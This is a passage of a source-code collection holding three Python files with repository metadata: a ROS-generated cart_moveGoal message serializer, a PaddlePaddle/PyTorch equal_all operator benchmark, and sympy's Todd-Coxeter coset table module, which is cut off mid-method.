['int32','geometry_msgs/PoseStamped','float64[]','float64[]','float64'] def __init__(self, *args, **kwds): """ Constructor. Any message fields that are implicitly/explicitly set to None will be assigned a default value. The recommend use is keyword arguments as this is more robust to future message changes. You cannot mix in-order arguments and keyword arguments. The available fields are: command_code,des_pose_gripper,arm_dp,q_goal,time_scale_stretch_factor :param args: complete set of field values, in .msg order :param kwds: use keyword arguments corresponding to message field names to set specific fields. """ if args or kwds: super(cart_moveGoal, self).__init__(*args, **kwds) #message fields cannot be None, assign default values for those that are if self.command_code is None: self.command_code = 0 if self.des_pose_gripper is None: self.des_pose_gripper = geometry_msgs.msg.PoseStamped() if self.arm_dp is None: self.arm_dp = [] if self.q_goal is None: self.q_goal = [] if self.time_scale_stretch_factor is None: self.time_scale_stretch_factor = 0. else: self.command_code = 0 self.des_pose_gripper = geometry_msgs.msg.PoseStamped() self.arm_dp = [] self.q_goal = [] self.time_scale_stretch_factor = 0. def _get_types(self): """ internal API method """ return self._slot_types def serialize(self, buff): """ serialize message into buffer :param buff: buffer, ``StringIO`` """ try: _x = self buff.write(_struct_i3I.pack(_x.command_code, _x.des_pose_gripper.header.seq, _x.des_pose_gripper.header.stamp.secs, _x.des_pose_gripper.header.stamp.nsecs)) _x = self.des_pose_gripper.header.frame_id length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) if python3: buff.write(struct.pack('<I%sB'%length, length, *_x)) else: buff.write(struct.pack('<I%ss'%length, length, _x)) _x = self buff.write(_struct_7d.pack(_x.des_pose_gripper.pose.position.x, _x.des_pose_gripper.pose.position.y, _x.des_pose_gripper.pose.position.z, _x.des_pose_gripper.pose.orientation.x, _x.des_pose_gripper.pose.orientation.y, _x.des_pose_gripper.pose.orientation.z, _x.des_pose_gripper.pose.orientation.w)) length = len(self.arm_dp) buff.write(_struct_I.pack(length)) pattern = '<%sd'%length buff.write(struct.pack(pattern, *self.arm_dp)) length = len(self.q_goal) buff.write(_struct_I.pack(length)) pattern = '<%sd'%length buff.write(struct.pack(pattern, *self.q_goal)) buff.write(_struct_d.pack(self.time_scale_stretch_factor)) except struct.error as se: self._check_types(struct.error("%s: '%s' when writing '%s'" % (type(se), str(se), str(locals().get('_x', self))))) except TypeError as te: self._check_types(ValueError("%s: '%s' when writing '%s'" % (type(te), str(te), str(locals().get('_x', self))))) def deserialize(self, str): """ unpack serialized message in str into this message instance :param str: byte array of serialized message, ``str`` """ try: if self.des_pose_gripper is None: self.des_pose_gripper = geometry_msgs.msg.PoseStamped() end = 0 _x = self start = end end += 16 (_x.command_code, _x.des_pose_gripper.header.seq, _x.des_pose_gripper.header.stamp.secs, _x.des_pose_gripper.header.stamp.nsecs,) = _struct_i3I.unpack(str[start:end]) start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.des_pose_gripper.header.frame_id = str[start:end].decode('utf-8') else: self.des_pose_gripper.header.frame_id = str[start:end] _x = self start = end end += 56 (_x.des_pose_gripper.pose.position.x, _x.des_pose_gripper.pose.position.y, _x.des_pose_gripper.pose.position.z, _x.des_pose_gripper.pose.orientation.x, _x.des_pose_gripper.pose.orientation.y, _x.des_pose_gripper.pose.orientation.z, _x.des_pose_gripper.pose.orientation.w,) = _struct_7d.unpack(str[start:end]) start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) pattern = '<%sd'%length start = end end += struct.calcsize(pattern) self.arm_dp = struct.unpack(pattern, str[start:end]) start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) pattern = '<%sd'%length start = end end += struct.calcsize(pattern) self.q_goal = struct.unpack(pattern, str[start:end]) start = end end += 8 (self.time_scale_stretch_factor,) = _struct_d.unpack(str[start:end]) return self except struct.error as e: raise genpy.DeserializationError(e) #most likely buffer underfill def serialize_numpy(self, buff, numpy): """ serialize message with numpy array types into buffer :param buff: buffer, ``StringIO`` :param numpy: numpy python module """ try: _x = self buff.write(_struct_i3I.pack(_x.command_code, _x.des_pose_gripper.header.seq, _x.des_pose_gripper.header.stamp.secs, _x.des_pose_gripper.header.stamp.nsecs)) _x = self.des_pose_gripper.header.frame_id length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) if python3: buff.write(struct.pack('<I%sB'%length, length, *_x)) else: buff.write(struct.pack('<I%ss'%length, length, _x)) _x = self buff.write(_struct_7d.pack(_x.des_pose_gripper.pose.position.x, _x.des_pose_gripper.pose.position.y, _x.des_pose_gripper.pose.position.z, _x.des_pose_gripper.pose.orientation.x, _x.des_pose_gripper.pose.orientation.y, _x.des_pose_gripper.pose.orientation.z, _x.des_pose_gripper.pose.orientation.w)) length = len(self.arm_dp) buff.write(_struct_I.pack(length)) pattern = '<%sd'%length buff.write(self.arm_dp.tostring()) length = len(self.q_goal) buff.write(_struct_I.pack(length)) pattern = '<%sd'%length buff.write(self.q_goal.tostring()) buff.write(_struct_d.pack(self.time_scale_stretch_factor)) except struct.error as se: self._check_types(struct.error("%s: '%s' when writing '%s'" % (type(se), str(se), str(locals().get('_x', self))))) except TypeError as te: self._check_types(ValueError("%s: '%s' when writing '%s'" % (type(te), str(te), str(locals().get('_x', self))))) def deserialize_numpy(self, str, numpy): """ unpack serialized message in str into this message instance using numpy for array types :param str: byte array of serialized message, ``str`` :param numpy: numpy python module """ try: if self.des_pose_gripper is None: self.des_pose_gripper = geometry_msgs.msg.PoseStamped() end = 0 _x = self start = end end += 16 (_x.command_code, _x.des_pose_gripper.header.seq, _x.des_pose_gripper.header.stamp.secs, _x.des_pose_gripper.header.stamp.nsecs,) = _struct_i3I.unpack(str[start:end]) start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.des_pose_gripper.header.frame_id = str[start:end].decode('utf-8') else: self.des_pose_gripper.header.frame_id = str[start:end] _x = self start = end end += 56 (_x.des_pose_gripper.pose.position.x, _x.des_pose_gripper.pose.position.y, _x.des_pose_gripper.pose.position.z, _x.des_pose_gripper.pose.orientation.x, _x.des_pose_gripper.pose.orientation.y, _x.des_pose_gripper.pose.orientation.z, _x.des_pose_gripper.pose.orientation.w,) = _struct_7d.unpack(str[start:end]) start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) pattern = '<%sd'%length start = end end += struct.calcsize(pattern) self.arm_dp = numpy.frombuffer(str[start:end], dtype=numpy.float64, count=length) start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) pattern = '<%sd'%length start = end end += struct.calcsize(pattern) self.q_goal = numpy.frombuffer(str[start:end], dtype=numpy.float64, count=length) start = end end += 8 (self.time_scale_stretch_factor,) = _struct_d.unpack(str[start:end]) return self except struct.error as e: raise genpy.DeserializationError(e) #most likely buffer underfill _struct_I = genpy.struct_I _struct_i3I = struct.Struct("<i3I") _struct_7d = struct.Struct("<7d") _struct_d = struct.Struct("<d")
f55df027f5a380a2302722b0a432c76857f85315
a1a43879a2da109d9fe8d9a75f4fda73f0d7166b
/api/tests/equal_all.py
1f1a1f3cf9a2c23dd214b96ee1e53b5c0fc00069
[]
no_license
PaddlePaddle/benchmark
a3ed62841598d079529c7440367385fc883835aa
f0e0a303e9af29abb2e86e8918c102b152a37883
refs/heads/master
2023-09-01T13:11:09.892877
2023-08-21T09:32:49
2023-08-21T09:32:49
173,032,424
78
352
null
2023-09-14T05:13:08
2019-02-28T03:14:16
Python
UTF-8
Python
false
false
1,661
py
# Copyright (c) 2022 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from common_import import * @benchmark_registry.register("equal_all") class EqualAllConfig(APIConfig): def __init__(self): super(EqualAllConfig, self).__init__("equal_all") self.run_tf = False @benchmark_registry.register("equal_all") class PaddleEqualAll(PaddleOpBenchmarkBase): def build_graph(self, config): x = self.variable(name='x', shape=config.x_shape, dtype=config.x_dtype) y = self.variable(name='y', shape=config.y_shape, dtype=config.y_dtype) result = paddle.equal_all(x=x, y=y) self.feed_list = [x, y] self.fetch_list = [result] @benchmark_registry.register("equal_all") class TorchEqualAll(PytorchOpBenchmarkBase): def build_graph(self, config): x = self.variable(name='x', shape=config.x_shape, dtype=config.x_dtype) y = self.variable(name='y', shape=config.y_shape, dtype=config.y_dtype) result = torch.equal(input=x, other=y) result = torch.tensor(result) self.feed_list = [x, y] self.fetch_list = [result]
ec9388dc3dd1fce8c32eb599783e32c21d108f8a
00a9295409b78a53ce790f7ab44931939f42c0e0
/FPGA/apio/iCEBreaker/FIR_Filter/sympy/venv/lib/python3.8/site-packages/sympy/combinatorics/coset_table.py
9e9b2b0f7ecf107a58a2d1ab311db0f412135e86
[ "Apache-2.0" ]
permissive
klei22/Tech-OnBoarding-Class
c21f0762d2d640d5e9cb124659cded5c865b32d4
960e962322c37be9117e0523641f8b582a2beceb
refs/heads/master
2022-11-10T13:17:39.128342
2022-10-25T08:59:48
2022-10-25T08:59:48
172,292,871
2
3
Apache-2.0
2019-05-19T00:26:32
2019-02-24T03:50:35
C
UTF-8
Python
false
false
42,977
py
from sympy.combinatorics.free_groups import free_group from sympy.printing.defaults import DefaultPrinting from itertools import chain, product from bisect import bisect_left ############################################################################### # COSET TABLE # ############################################################################### class CosetTable(DefaultPrinting): # coset_table: Mathematically a coset table # represented using a list of lists # alpha: Mathematically a coset (precisely, a live coset) # represented by an integer between i with 1 <= i <= n # alpha in c # x: Mathematically an element of "A" (set of generators and # their inverses), represented using "FpGroupElement" # fp_grp: Finitely Presented Group with < X|R > as presentation. # H: subgroup of fp_grp. # NOTE: We start with H as being only a list of words in generators # of "fp_grp". Since `.subgroup` method has not been implemented. r""" Properties ========== [1] `0 \in \Omega` and `\tau(1) = \epsilon` [2] `\alpha^x = \beta \Leftrightarrow \beta^{x^{-1}} = \alpha` [3] If `\alpha^x = \beta`, then `H \tau(\alpha)x = H \tau(\beta)` [4] `\forall \alpha \in \Omega, 1^{\tau(\alpha)} = \alpha` References ========== .. [1] Holt, D., Eick, B., O'Brien, E. "Handbook of Computational Group Theory" .. [2] John J. Cannon; Lucien A. Dimino; George Havas; Jane M. Watson Mathematics of Computation, Vol. 27, No. 123. (Jul., 1973), pp. 463-490. "Implementation and Analysis of the Todd-Coxeter Algorithm" """ # default limit for the number of cosets allowed in a # coset enumeration. coset_table_max_limit = 4096000 # limit for the current instance coset_table_limit = None # maximum size of deduction stack above or equal to # which it is emptied max_stack_size = 100 def __init__(self, fp_grp, subgroup, max_cosets=None): if not max_cosets: max_cosets = CosetTable.coset_table_max_limit self.fp_group = fp_grp self.subgroup = subgroup self.coset_table_limit = max_cosets # "p" is setup independent of Omega and n self.p = [0] # a list of the form `[gen_1, gen_1^{-1}, ... , gen_k, gen_k^{-1}]` self.A = list(chain.from_iterable((gen, gen**-1) \ for gen in self.fp_group.generators)) #P[alpha, x] Only defined when alpha^x is defined. self.P = [[None]*len(self.A)] # the mathematical coset table which is a list of lists self.table = [[None]*len(self.A)] self.A_dict = {x: self.A.index(x) for x in self.A} self.A_dict_inv = {} for x, index in self.A_dict.items(): if index % 2 == 0: self.A_dict_inv[x] = self.A_dict[x] + 1 else: self.A_dict_inv[x] = self.A_dict[x] - 1 # used in the coset-table based method of coset enumeration. Each of # the element is called a "deduction" which is the form (alpha, x) whenever # a value is assigned to alpha^x during a definition or "deduction process" self.deduction_stack = [] # Attributes for modified methods. H = self.subgroup self._grp = free_group(', ' .join(["a_%d" % i for i in range(len(H))]))[0] self.P = [[None]*len(self.A)] self.p_p = {} @property def omega(self): """Set of live cosets. """ return [coset for coset in range(len(self.p)) if self.p[coset] == coset] def copy(self): """ Return a shallow copy of Coset Table instance ``self``. """ self_copy = self.__class__(self.fp_group, self.subgroup) self_copy.table = [list(perm_rep) for perm_rep in self.table] self_copy.p = list(self.p) self_copy.deduction_stack = list(self.deduction_stack) return self_copy def __str__(self): return "Coset Table on %s with %s as subgroup generators" \ % (self.fp_group, self.subgroup) __repr__ = __str__ @property def n(self): """The number `n` represents the length of the sublist containing the live cosets. """ if not self.table: return 0 return max(self.omega) + 1 # Pg. 152 [1] def is_complete(self): r""" The coset table is called complete if it has no undefined entries on the live cosets; that is, `\alpha^x` is defined for all `\alpha \in \Omega` and `x \in A`. """ return not any(None in self.table[coset] for coset in self.omega) # Pg. 153 [1] def define(self, alpha, x, modified=False): r""" This routine is used in the relator-based strategy of Todd-Coxeter algorithm if some `\alpha^x` is undefined. We check whether there is space available for defining a new coset. If there is enough space then we remedy this by adjoining a new coset `\beta` to `\Omega` (i.e to set of live cosets) and put that equal to `\alpha^x`, then make an assignment satisfying Property[1]. If there is not enough space then we halt the Coset Table creation. The maximum amount of space that can be used by Coset Table can be manipulated using the class variable ``CosetTable.coset_table_max_limit``. See Also ======== define_c """ A = self.A table = self.table len_table = len(table) if len_table >= self.coset_table_limit: # abort the further generation of cosets raise ValueError("the coset enumeration has defined more than " "%s cosets. Try with a greater value max number of cosets " % self.coset_table_limit) table.append([None]*len(A)) self.P.append([None]*len(self.A)) # beta is the new coset generated beta = len_table self.p.append(beta) table[alpha][self.A_dict[x]] = beta table[beta][self.A_dict_inv[x]] = alpha # P[alpha][x] = epsilon, P[beta][x**-1] = epsilon if modified: self.P[alpha][self.A_dict[x]] = self._grp.identity self.P[beta][self.A_dict_inv[x]] = self._grp.identity self.p_p[beta] = self._grp.identity def define_c(self, alpha, x): r""" A variation of ``define`` routine, described on Pg. 165 [1], used in the coset table-based strategy of Todd-Coxeter algorithm. It differs from ``define`` routine in that for each definition it also adds the tuple `(\alpha, x)` to the deduction stack. See Also ======== define """ A = self.A table = self.table len_table = len(table) if len_table >= self.coset_table_limit: # abort the further generation of cosets raise ValueError("the coset enumeration has defined more than " "%s cosets. Try with a greater value max number of cosets " % self.coset_table_limit) table.append([None]*len(A)) # beta is the new coset generated beta = len_table self.p.append(beta) table[alpha][self.A_dict[x]] = beta table[beta][self.A_dict_inv[x]] = alpha # append to deduction stack self.deduction_stack.append((alpha, x)) def scan_c(self, alpha, word): """ A variation of ``scan`` routine, described on pg. 165 of [1], which puts at tuple, whenever a deduction occurs, to deduction stack. See Also ======== scan, scan_check, scan_and_fill, scan_and_fill_c """ # alpha is an integer representing a "coset" # since scanning can be in two cases # 1. for alpha=0 and w in Y (i.e generating set of H) # 2. alpha in Omega (set of live cosets), w in R (relators) A_dict = self.A_dict A_dict_inv = self.A_dict_inv table = self.table f = alpha i = 0 r = len(word) b = alpha j = r - 1 # list of union of generators and their inverses while i <= j and table[f][A_dict[word[i]]] is not None: f = table[f][A_dict[word[i]]] i += 1 if i > j: if f != b: self.coincidence_c(f, b) return while j >= i and table[b][A_dict_inv[word[j]]] is not None: b = table[b][A_dict_inv[word[j]]] j -= 1 if j < i: # we have an incorrect completed scan with coincidence f ~ b # run the "coincidence" routine self.coincidence_c(f, b) elif j == i: # deduction process table[f][A_dict[word[i]]] = b table[b][A_dict_inv[word[i]]] = f self.deduction_stack.append((f, word[i])) # otherwise scan is incomplete and yields no information # alpha, beta coincide, i.e. alpha, beta represent the pair of cosets where # coincidence occurs def coincidence_c(self, alpha, beta): """ A variation of ``coincidence`` routine used in the coset-table based method of coset enumeration. The only difference being on addition of a new coset in coset table(i.e new coset introduction), then it is appended to ``deduction_stack``. See Also ======== coincidence """ A_dict = self.A_dict A_dict_inv = self.A_dict_inv table = self.table # behaves as a queue q = [] self.merge(alpha, beta, q) while len(q) > 0: gamma = q.pop(0) for x in A_dict: delta = table[gamma][A_dict[x]] if delta is not None: table[delta][A_dict_inv[x]] = None # only line of difference from ``coincidence`` routine self.deduction_stack.append((delta, x**-1)) mu = self.rep(gamma) nu = self.rep(delta) if table[mu][A_dict[x]] is not None: self.merge(nu, table[mu][A_dict[x]], q) elif table[nu][A_dict_inv[x]] is not None: self.merge(mu, table[nu][A_dict_inv[x]], q) else: table[mu][A_dict[x]] = nu table[nu][A_dict_inv[x]] = mu def scan(self, alpha, word, y=None, fill=False, modified=False): r""" ``scan`` performs a scanning process on the input ``word``. It first locates the largest prefix ``s`` of ``word`` for which `\alpha^s` is defined (i.e is not ``None``), ``s`` may be empty. Let ``word=sv``, let ``t`` be the longest suffix of ``v`` for which `\alpha^{t^{-1}}` is defined, and let ``v=ut``. Then three possibilities are there: 1. If ``t=v``, then we say that the scan completes, and if, in addition `\alpha^s = \alpha^{t^{-1}}`, then we say that the scan completes correctly. 2. It can also happen that scan does not complete, but `|u|=1`; that is, the word ``u`` consists of a single generator `x \in A`. In that case, if `\alpha^s = \beta` and `\alpha^{t^{-1}} = \gamma`, then we can set `\beta^x = \gamma` and `\gamma^{x^{-1}} = \beta`. These assignments are known as deductions and enable the scan to complete correctly. 3. See ``coicidence`` routine for explanation of third condition. Notes ===== The code for the procedure of scanning `\alpha \in \Omega` under `w \in A*` is defined on pg. 155 [1] See Also ======== scan_c, scan_check, scan_and_fill, scan_and_fill_c Scan and Fill ============= Performed when the default argument fill=True. Modified Scan ============= Performed when the default argument modified=True """ # alpha is an integer representing a "coset" # since scanning can be in two cases # 1. for alpha=0 and w in Y (i.e generating set of H) # 2. alpha in Omega (set of live cosets), w in R (relators) A_dict = self.A_dict A_dict_inv = self.A_dict_inv table = self.table f = alpha i = 0 r = len(word) b = alpha j = r - 1 b_p = y if modified: f_p = self._grp.identity flag = 0 while fill or flag == 0: flag = 1 while i <= j and table[f][A_dict[word[i]]] is not None: if modified: f_p = f_p*self.P[f][A_dict[word[i]]] f = table[f][A_dict[word[i]]] i += 1 if i > j: if f != b: if modified: self.modified_coincidence(f, b, f_p**-1*y) else: self.coincidence(f, b) return while j >= i and table[b][A_dict_inv[word[j]]] is not None: if modified: b_p = b_p*self.P[b][self.A_dict_inv[word[j]]] b = table[b][A_dict_inv[word[j]]] j -= 1 if j < i: # we have an incorrect completed scan with coincidence f ~ b # run the "coincidence" routine if modified: self.modified_coincidence(f, b, f_p**-1*b_p) else: self.coincidence(f, b) elif j == i: # deduction process table[f][A_dict[word[i]]] = b table[b][A_dict_inv[word[i]]] = f if modified: self.P[f][self.A_dict[word[i]]] = f_p**-1*b_p self.P[b][self.A_dict_inv[word[i]]] = b_p**-1*f_p return elif fill: self.define(f, word[i], modified=modified) # otherwise scan is incomplete and yields no information # used in the low-index subgroups algorithm def scan_check(self, alpha, word): r""" Another version of ``scan`` routine, described on, it checks whether `\alpha` scans correctly under `word`, it is a straightforward modification of ``scan``. ``scan_check`` returns ``False`` (rather than calling ``coincidence``) if the scan completes incorrectly; otherwise it returns ``True``. See Also ======== scan, scan_c, scan_and_fill, scan_and_fill_c """ # alpha is an integer representing a "coset" # since scanning can be in two cases # 1. for alpha=0 and w in Y (i.e generating set of H) # 2. alpha in Omega (set of live cosets), w in R (relators) A_dict = self.A_dict A_dict_inv = self.A_dict_inv table = self.table f = alpha i = 0 r = len(word) b = alpha j = r - 1 while i <= j and table[f][A_dict[word[i]]] is not None: f = table[f][A_dict[word[i]]] i += 1 if i > j: return f == b while j >= i and table[b][A_dict_inv[word[j]]] is not None: b = table[b][A_dict_inv[word[j]]] j -= 1 if j < i: # we have an incorrect completed scan with coincidence f ~ b # return False, instead of calling coincidence routine return False elif j == i: # deduction process table[f][A_dict[word[i]]] = b table[b][A_dict_inv[word[i]]] = f return True def merge(self, k, lamda, q, w=None, modified=False): """ Merge two classes with representatives ``k`` and ``lamda``, described on Pg. 157 [1] (for pseudocode), start by putting ``p[k] = lamda``. It is more efficient to choose the new representative from the larger of the two classes being merged, i.e larger among ``k`` and ``lamda``. procedure ``merge`` performs the merging operation, adds the deleted class representative to the queue ``q``. Parameters ========== 'k', 'lamda' being the two class representatives to be merged. Notes ===== Pg. 86-87 [1] contains a description of this method. See Also ======== coincidence, rep """ p = self.p rep = self.rep phi = rep(k, modified=modified) psi = rep(lamda, modified=modified) if phi != psi: mu = min(phi, psi) v = max(phi, psi) p[v] = mu if modified: if v == phi: self.p_p[phi] = self.p_p[k]**-1*w*self.p_p[lamda] else: self.p_p[psi] = self.p_p[lamda]**-1*w**-1*self.p_p[k] q.append(v) def rep(self, k, modified=False): r""" Parameters ========== `k \in [0 \ldots n-1]`, as for ``self`` only array ``p`` is used Returns ======= Representative of the class containing ``k``. Returns the representative of `\sim` class containing ``k``, it also makes some modification to array ``p`` of ``self`` to ease further computations, described on Pg. 157 [1]. The information on classes under `\sim` is stored in array `p` of ``self`` argument, which will always satisfy the property: `p[\alpha] \sim \alpha` and `p[\alpha]=\alpha \iff \alpha=rep(\alpha)` `\forall \in [0 \ldots n-1]`. So, for `\alpha \in [0 \ldots n-1]`, we find `rep(self, \alpha)` by continually replacing `\alpha` by `p[\alpha]` until it becomes constant (i.e satisfies `p[\alpha] = \alpha`):w To increase the efficiency of later ``rep`` calculations, whenever we find `rep(self, \alpha)=\beta`, we set `p[\gamma] = \beta \forall \gamma \in p-chain` from `\alpha` to `\beta` Notes ===== ``rep`` routine is also described on Pg. 85-87 [1] in Atkinson's algorithm, this results from the fact that ``coincidence`` routine introduces functionality similar to that introduced by the ``minimal_block`` routine on Pg. 85-87 [1]. See Also ======== coincidence, merge """ p = self.p lamda = k rho = p[lamda] if modified: s = p[:] while rho != lamda: if modified: s[rho] = lamda lamda = rho rho = p[lamda] if modified: rho = s[lamda] while rho != k: mu = rho rho = s[mu] p[rho] = lamda self.p_p[rho] = self.p_p[rho]*self.p_p[mu] else: mu = k rho = p[mu] while rho != lamda: p[mu] = lamda mu = rho rho = p[mu] return lamda # alpha, beta coincide, i.e. alpha, beta represent the pair of cosets # where coincidence occurs def coincidence(self, alpha, beta, w=None, modified=False): r""" The third situation described in ``scan`` routine is handled by this routine, described on Pg. 156-161 [1]. The unfortunate situation when the scan completes but not correctly, then ``coincidence`` routine is run. i.e when for some `i` with `1 \le i \le r+1`, we have `w=st` with `s=x_1*x_2 ... x_{i-1}`, `t=x_i*x_{i+1} ... x_r`, and `\beta = \alpha^s` and `\gamma = \alph^{t-1}` are defined but unequal. This means that `\beta` and `\gamma` represent the same coset of `H` in `G`. Described on Pg. 156 [1]. ``rep`` See Also ======== scan """ A_dict = self.A_dict A_dict_inv = self.A_dict_inv table = self.table # behaves as a queue q = [] if modified: self.modified_merge(alpha, beta, w, q) else: self.merge(alpha, beta, q) while len(q) > 0: gamma = q.pop(0) for x in A_dict: delta = table[gamma][A_dict[x]] if delta is not None: table[delta][A_dict_inv[x]] = None mu = self.rep(gamma, modified=modified) nu = self.rep(delta, modified=modified) if table[mu][A_dict[x]] is not None: if modified: v = self.p_p[delta]**-1*self.P[gamma][self.A_dict[x]]**-1 v = v*self.p_p[gamma]*self.P[mu][self.A_dict[x]] self.modified_merge(nu, table[mu][self.A_dict[x]], v, q) else: self.merge(nu, table[mu][A_dict[x]], q) elif table[nu][A_dict_inv[x]] is not None: if modified: v = self.p_p[gamma]**-1*self.P[gamma][self.A_dict[x]] v = v*self.p_p[delta]*self.P[mu][self.A_dict_inv[x]] self.modified_merge(mu, table[nu][self.A_dict_inv[x]], v, q) else: self.merge(mu, table[nu][A_dict_inv[x]], q) else: table[mu][A_dict[x]] = nu table[nu][A_dict_inv[x]] = mu if modified: v = self.p_p[gamma]**-1*self.P[gamma][self.A_dict[x]]*self.p_p[delta] self.P[mu][self.A_dict[x]] = v self.P[nu][self.A_dict_inv[x]] = v**-1 # method used in the HLT strategy def scan_and_fill(self, alpha, word): """ A modified version of ``scan`` routine used in the relator-based method of coset enumeration, described on pg. 162-163 [1], which follows the idea that whenever the procedure is called and the scan is incomplete then it makes new definitions to enable the scan to complete; i.e it fills in the gaps in the scan of the relator or subgroup generator. """ self.scan(alpha, word, fill=True) def scan_and_fill_c(self, alpha, word): """ A modified version of ``scan`` routine, described on Pg. 165 second para. [1], with modification similar to that of ``scan_anf_fill`` the only difference being it calls the coincidence procedure used in the coset-table based method i.e. the routine ``coincidence_c`` is used. See Also ======== scan, scan_and_fill """ A_dict = self.A_dict A_dict_inv = self.A_dict_inv table = self.table r = len(word) f = alpha i = 0 b = alpha j = r - 1 # loop until it has filled the alpha row in the table. while True: # do the forward scanning while i <= j and table[f][A_dict[word[i]]] is not None: f = table[f][A_dict[word[i]]] i += 1 if i > j: if f != b: self.coincidence_c(f, b) return # forward scan was incomplete, scan backwards while j >= i and table[b][A_dict_inv[word[j]]] is not None: b = table[b][A_dict_inv[word[j]]] j -= 1 if j < i: self.coincidence_c(f, b) elif j == i: table[f][A_dict[word[i]]] = b table[b][A_dict_inv[word[i]]] = f self.deduction_stack.append((f, word[i])) else: self.define_c(f, word[i]) # method used in the HLT strategy def look_ahead(self): """ When combined with the HLT method this is known as HLT+Lookahead method of coset enumeration, described on pg. 164 [1]. Whenever ``define`` aborts due to lack of space available this procedure is executed. This routine helps in recovering space resulting from "coincidence" of cosets. """ R = self.fp_group.relators p = self.p # complete scan all relators under all cosets(obviously live) # without making new definitions for beta in self.omega: for w in R: self.scan(beta, w) if p[beta] < beta: break # Pg. 166 def process_deductions(self, R_c_x, R_c_x_inv): """ Processes the deductions that have been pushed onto ``deduction_stack``, described on Pg. 166 [1] and is used in coset-table based enumeration. See Also ======== deduction_stack """ p = self.p table = self.table while len(self.deduction_stack) > 0: if len(self.deduction_stack) >= CosetTable.max_stack_size: self.look_ahead() del self.deduction_stack[:] continue else: alpha, x = self.deduction_stack.pop() if p[alpha] == alpha: for w in R_c_x: self.scan_c(alpha, w) if p[alpha] < alpha: break beta = table[alpha][self.A_dict[x]] if beta is not None and p[beta] == beta: for w in R_c_x_inv: self.scan_c(beta, w) if p[beta] < beta: break def process_deductions_check(self, R_c_x, R_c_x_inv): """ A variation of ``process_deductions``, this calls ``scan_check`` wherever ``process_deductions`` calls ``scan``, described on Pg. [1]. See Also ======== process_deductions """ table = self.table while len(self.deduction_stack) > 0: alpha, x = self.deduction_stack.pop() for w in R_c_x: if not self.scan_check(alpha, w): return False beta = table[alpha][self.A_dict[x]] if beta is not None: for w in R_c_x_inv: if not self.scan_check(beta, w): return False return True def switch(self, beta, gamma): r"""Switch the elements `\beta, \gamma \in \Omega` of ``self``, used by the ``standardize`` procedure, described on Pg. 167 [1]. See Also ======== standardize """ A = self.A A_dict = self.A_dict table = self.table for x in A: z = table[gamma][A_dict[x]] table[gamma][A_dict[x]] = table[beta][A_dict[x]] table[beta][A_dict[x]] = z for alpha in range(len(self.p)): if self.p[alpha] == alpha: if table[alpha][A_dict[x]] == beta: table[alpha][A_dict[x]] = gamma elif table[alpha][A_dict[x]] == gamma: table[alpha][A_dict[x]] = beta def standardize(self): r""" A coset table is standardized if when running through the cosets and within each coset through the generator images (ignoring generator inverses), the cosets appear in order of the integers `0, 1, , \ldots, n`. "Standardize" reorders the elements of `\Omega` such that, if we scan the coset table first by elements of `\Omega` and then by elements of A, then the cosets occur in ascending order. ``standardize()`` is used at the end of an enumeration to permute the cosets so that they occur in some sort of standard order. Notes ===== procedure is described on pg. 167-168 [1], it also makes use of the ``switch`` routine to replace by smaller integer value. Examples ======== >>> from sympy.combinatorics.free_groups import free_group >>> from sympy.combinatorics.fp_groups import FpGroup, coset_enumeration_r >>> F, x, y = free_group("x, y") # Example 5.3 from [1] >>> f = FpGroup(F, [x**2*y**2, x**3*y**5]) >>> C = coset_enumeration_r(f, []) >>> C.compress() >>> C.table [[1, 3, 1, 3], [2, 0, 2, 0], [3, 1, 3, 1], [0, 2, 0, 2]] >>> C.standardize() >>> C.table [[1, 2, 1, 2], [3, 0, 3, 0], [0, 3, 0, 3], [2, 1, 2, 1]] """ A = self.A A_dict = self.A_dict gamma = 1 for alpha, x in product(range(self.n), A): beta = self.table[alpha][A_dict[x]] if beta >= gamma: if beta > gamma: self.switch(gamma, beta) gamma += 1 if gamma == self.n: return # Compression of a Coset Table def compress(self): """Removes the non-live cosets from the coset table, described on pg. 167 [1]. """ gamma = -1 A = self.A A_dict = self.A_dict A_dict_inv = self.A_dict_inv table = self.table chi = tuple([i for i in range(len(self.p)) if self.p[i] != i]) for alpha in self.omega: gamma += 1 if gamma != alpha: # replace alpha by gamma in coset table for x in A: beta = table[alpha][A_dict[x]] table[gamma][A_dict[x]] = beta table[beta][A_dict_inv[x]] == gamma # all the cosets in the table are live cosets self.p = list(range(gamma + 1)) # delete the useless columns del table[len(self.p):] # re-define values for row in table: for j in range(len(self.A)): row[j] -= bisect_left(chi, row[j]) def conjugates(self, R): R_c = list(chain.from_iterable((rel.cyclic_conjugates(), \ (rel**-1).cyclic_conjugates()) for rel in R)) R_set = set() for conjugate in R_c: R_set = R_set.union(conjugate) R_c_list = [] for x in self.A: r = {word for word in R_set if word[0] == x} R_c_list.append(r) R_set.difference_update(r) return R_c_list def coset_representative(self, coset): ''' Compute the coset representative of a given coset. Examples ======== >>> from sympy.combinatorics.free_groups import free_group >>> from sympy.combinatorics.fp_groups import FpGroup, coset_enumeration_r >>> F, x, y = free_group("x, y") >>> f = FpGroup(F, [x**3, y**3, x**-1*y**-1*x*y]) >>> C = coset_enumeration_r(f, [x]) >>> C.compress() >>> C.table [[0, 0, 1, 2], [1, 1, 2, 0], [2, 2, 0, 1]] >>> C.coset_representative(0) <identity> >>> C.coset_representative(1) y >>> C.coset_representative(2) y**-1 ''' for x in self.A: gamma = self.table[coset][self.A_dict[x]] if coset == 0: return self.fp_group.identity if gamma < coset: return self.coset_representative(gamma)*x**-1 ############################## # Modified Methods # ############################## def modified_define(self, alpha, x): r""" Define a function p_p from from [1..n] to A* as an additional component of the modified coset table. Parameters ========== \alpha \in \Omega x \in A* See Also ======== define """ self.define(alpha, x, modified=True) def 